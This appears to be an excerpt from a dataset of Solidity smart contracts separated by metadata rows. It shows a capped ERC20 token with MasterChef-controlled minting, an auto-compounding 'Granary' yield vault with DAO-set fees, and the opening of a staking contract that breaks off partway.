a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 public totalMinted; uint256 public constant maxMintCap = 10000 * (10 ** 18); constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function getOwner() external override view returns (address) { return owner(); } function name() public override view returns (string memory) { return _name; } function decimals() public override view returns (uint8) { return _decimals; } function symbol() public override view returns (string memory) { return _symbol; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function maxSupply() public pure returns (uint256) { return maxMintCap; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); require(totalMinted.add(amount) <= maxMintCap, "Max supply reached"); _totalSupply = _totalSupply.add(amount); totalMinted = totalMinted.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } // Jago. contract Jago is ERC20('Jago Test', 'TEST') { //Pre-minting of X number of tokens for initial liquidity injection constructor () public { _mint(msg.sender, 50 * 10 ** 18); } address public masterchef; // @dev Throws if called by any account other than the Masterchef. modifier onlyMasterchef() { require(msg.sender == masterchef, "Caller is not the Masterchef"); _; } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyMasterchef { _mint(_to, _amount); } function initializeMC(address _masterchef) public onlyOwner { require(masterchef == address(0), "Already initialized"); require(_masterchef != address(0), "INCORRECT INPUT"); require(_masterchef != address(msg.sender), "INCORRECT INPUT"); require(_masterchef != address(this), "INCORRECT INPUT"); masterchef = _masterchef; } }
332,252
12,017
95badcc21c22ebf7e9dea1faddbf7364e76a326e65d250008666baba110379de
24,286
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/e8/e880a7f6c9c326477a7d98e736e1524a7f8d4394_Granary.sol
5,575
15,725
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.6; pragma abicoder v2; //ftm.guru's Universal On-chain TVL Calculator //Source: https://ftm.guru/rawdata/tvl interface ITVL { //Using Version = 6 function p_lpt_usd(address u, address lp) external view returns(uint256); } interface IMasterchef { // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. WeVEs to distribute per block. uint256 lastRewardBlock; // Last block number that WeVEs distribution occurs. uint256 accWeVEPerShare; // Accumulated WeVEs per share, times 1e12. See below. } // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. } function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function emergencyWithdraw(uint256 _pid) external; function userInfo(uint256, address) external view returns (UserInfo memory); function poolInfo(uint256) external view returns (PoolInfo memory); function totalAllocPoint() external view returns (uint256); function pendingRewards(uint256 _pid, address _user) external view returns (uint256); } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); //Uniswap-style Pair (LPT) function getReserves() external view returns (uint112, uint112, uint32); } interface IRouter { function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Granary { using SafeMath for uint256; constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _r, string memory _id, address _v) { want=IERC20(_w); mc=IMasterchef(_m); earn=IERC20(_e); allnums[0]=_p; //pid router = _R; route = _r; id=_id;//GRAIN#ID utvl = _v; //Approvals //mc to take what it may want IERC20(address(want)).approve(address(mc),uint256(-1)); //router to sell what we earn IERC20(address(earn)).approve(address(router),uint256(-1)); //router to add route[route.length-1] IERC20(_r[_r.length-1]).approve(address(router),uint256(-1)); dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584; treasury = dao; } modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;} struct Elites { address ELITE; uint256 ELITES; } Elites[] public Eliteness; function pushElite(address elite, uint256 elites) public DAO { Eliteness.push(Elites({ELITE:elite,ELITES:elites})); } function pullElite(uint256 n) public DAO { Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop(); } //@xref takeFee=eliteness(msg.sender)?false:true; function eliteness(address u) public view returns(bool) { if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite. for(uint i;i<Eliteness.length;i++){ if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES) { return(true); } } return(false); } function config(//address _w, uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO { allnums[4] = _mw; treasury = _t; //Max 10%, 1e6 = 100% require(_wi<1e5,"!wi: high");allnums[3] = _wi; require(_pf<1e5,"!pf: high");allnums[2] = _pf; require(_df<1e5,"!df: high");allnums[1] = _df; } uint8 RG = 0; modifier rg { require(RG == 0,"!RG"); RG = 1; _; RG = 0; } function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } //Using getter functions to circumvent "Stack too deep!" errors string public id; function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));} function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));} function decimals() public view returns(uint8){return(IERC20(want).decimals());} uint256 public totalSupply; IERC20 public want; IERC20 public earn; address public router; address[] public route; IMasterchef public mc; bool public emergency = false; address public dao; address public treasury; address public utvl; //Using array to avoid "Stack too deep!" errors uint256[7] public allnums = [ 0, //pid 0 constant 1e3,//df 1 config, <= 10% (1e5), default 0.1% 1e4,//pf 2 config, <= 10% (1e5), default 1% 1e4,//wi 3 config, <= 10% (1e5), default 1% 1e4,//mw 4 config, default 1 (near zero) 0, //ct[0] 5 nonce, then constant 0 //ct[1] 6 up only ]; event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event RewardPaid(address indexed user, uint256 amount); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function approve(address guy) public returns (bool) { return approve(guy, uint(-1)); } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad,"Insufficient Balance"); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } function deposit(uint256 _amt) public rg { require(!emergency,"Its an emergency. Please don't deposit."); //require(isContract(msg.sender)==false,"Humans only"); //require(msg.sender==tx.origin,"Humans only"); //Some fancy math to take care of Fee-on-Transfer tokens uint256 vbb = want.balanceOf(address(this)); uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount; require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard"); uint256 vba = want.balanceOf(address(this)); uint256 D = vba.sub(vbb,"Dirty deposit"); mc.deposit(allnums[0],D); //Some more fancy math to take care of Deposit Fee uint256 mcba = mc.userInfo(allnums[0],address(this)).amount; uint256 M = mcba.sub(mcbb,"Dirty stake"); //require(M>mindep,"Deposit Too Low"); uint256 _mint = 0; (totalSupply > 0) // k: SharePerDeposit should be constant before & after // Mint = SharesPerDeposit * IncreaseInDeposit // bal += (totalSupply / oldDeposits) * thisDeposit ? _mint = (M.mul(totalSupply)).div(mcbb) : _mint = M; totalSupply += _mint; uint256 _fee; //allnums[1]===df, deposit fee if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings if(_fee>0)//gas savings { balanceOf[treasury] += _fee; emit Transfer(address(0), treasury, _fee); } balanceOf[msg.sender] += _mint.sub(_fee); emit Transfer(address(0), msg.sender, _mint.sub(_fee)); //hardWork() //allnums[4]===mw, min work : smallest harvest if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));} } function withdraw(uint256 _amt) public rg { require(!emergency,"Its an emergency. Use emergencyWithdraw() please."); require(balanceOf[msg.sender] >= _amt,"Insufficient Balance"); //Burn _amt of Vault Tokens balanceOf[msg.sender] -= _amt; uint256 ts = totalSupply; totalSupply -= _amt; emit Transfer(msg.sender, address(0), _amt); uint256 vbb = want.balanceOf(address(this)); uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount; // W = DepositsPerShare * SharesBurnt uint256 W = (_amt.mul(mcbb)).div(ts); mc.withdraw(allnums[0],W); uint256 vba = want.balanceOf(address(this)); uint256 D = vba.sub(vbb,"Dirty withdrawal"); require(want.transfer(msg.sender,D), "Unable to deboard"); //hardWork() if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));} } function doHardWork() public rg { require(eliteness(msg.sender),"Elites only!"); salvage(); require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!"); work(msg.sender); } function salvage() public { //harvest() mc.withdraw(allnums[0],0); } function work(address ben) internal { require(!emergency,"Its an emergency. Use emergencyWithdraw() please."); //has inputs from salvage() if this work is done via doHardWork() IRouter R = IRouter(router); IERC20 B = IERC20(route[route.length-1]); uint256 vbb = (earn.balanceOf(address(this))).div(2); R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp); R.addLiquidity(address(earn), address(B), earn.balanceOf(address(this)), B.balanceOf(address(this)), 1, 1, address(this), block.timestamp); uint256 D = want.balanceOf(address(this)); uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount; mc.deposit(allnums[0],D); uint256 mcba = mc.userInfo(allnums[0],address(this)).amount; uint256 M = mcba.sub(mcbb,"Dirty stake"); //Performance Fee Mint, conserves TVL uint256 _mint = 0; //allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM. if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run allnums[6]=uint64(block.timestamp); (totalSupply > 0) // k: SharePerDeposit should be constant before & after // Mint = SharesPerDeposit * IncreaseInDeposit // bal += (totalSupply / oldDeposits) * thisDeposit ? _mint = (M.mul(totalSupply)).div(mcbb) : _mint = M; //allnums[2] === pf, Performance Fee balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6); //Worker Incentive Mint, conserves TVL address worker = ben == address(this) ? treasury : ben; //allnums[3] === wi, Worker Incentive balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6); totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6)); emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6)); emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6)); emit RewardPaid(worker,(_mint.mul(allnums[3])).div(1e6)); } function declareEmergency() public DAO { require(!emergency,"Emergency already declared."); mc.emergencyWithdraw(allnums[0]); emergency=true; } function revokeEmergency() public DAO { require(emergency,"Emergency not declared."); uint256 D = want.balanceOf(address(this)); mc.deposit(allnums[0],D); emergency=false; } function emergencyWithdraw(uint256 _amt) public rg { require(emergency,"Its not an emergency. Use withdraw() instead."); require(balanceOf[msg.sender] >= _amt,"Insufficient Balance"); uint256 ts = totalSupply; //Burn _amt of Vault Tokens balanceOf[msg.sender] -= _amt; totalSupply -= _amt; emit Transfer(msg.sender, address(0), _amt); uint256 vbb = want.balanceOf(address(this)); uint256 W = (_amt.mul(vbb)).div(ts); require(want.transfer(msg.sender,W), "Unable to deboard"); } function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success) { //Generally, there are not supposed to be any tokens in this contract itself: //Upon Deposits, the assets go from User to the MasterChef of Strategy, //Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and //Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy. //Never allow draining main "want" token from the Granary: //Main token can only be withdrawn using the EmergencyWithdraw require(tokenAddress != address(want), "Funds are Safu in emergency!"); if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;} else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);} else return false; } //Read-Only Functions //Useful for performance analysis function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256) { uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this)); uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1% return(aum, roi, apy, mc.userInfo(allnums[0],address(this)), mc.poolInfo(allnums[0]), mc.totalAllocPoint(), mc.pendingRewards(allnums[0],address(this))); } //TVL in USD, 1e18===$1. //Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl function tvl() public view returns(uint256) { ITVL tc = ITVL(utvl); uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this)); return ((tc.p_lpt_usd(route[route.length-1], address(want))).mul(aum)).div(10**IERC20(want).decimals()); } }
332,390
12,018
034beb0b5adf7398b8db919024236fb8eb319242fbab3857947b29068886f9a6
27,371
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/7b/7b97159206F50E0Fe7c4287A97d24DecEB1d0f8F_TimeStaking.sol
4,198
16,940
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract TimeStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ 